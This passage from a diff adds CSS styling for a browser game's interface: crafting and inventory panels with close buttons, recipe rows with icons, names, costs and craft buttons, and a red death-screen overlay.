} +#craftPanel .close { background:#c0392b; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +#inventoryPanel .close { background:#c0392b; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +.recipe { display:flex; align-items:center; gap:10px; padding:10px; border-radius:12px; + background: rgba(255,255,255,0.06); border:1px solid rgba(255,255,255,0.10); margin-bottom:8px; } +.ricon { width:32px; height:32px; border-radius:8px; background-size:cover; image-rendering:pixelated; } +.rinfo { flex:1; } +.rname { color:#fff; font-weight:900; font-size:14px; } +.rcost { color:#bbb; font-size:11px; line-height:1.25; } +.rcraft { background:#2ecc71; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +.rcraft:disabled { background:#444; color:#888; cursor:not-allowed; } + +#death { display:none; position:absolute; inset:0; background: rgba(60,0,0,0.88); + z-index:200; color:#fff; pointer-events:auto; align-items:center; justify-content:center; flex-direction:column; gap:12px; } +#death button { padding:12px 18px; font-size:18px; font-weight:900; border:none; border-radius:12px; cursor:pointer; }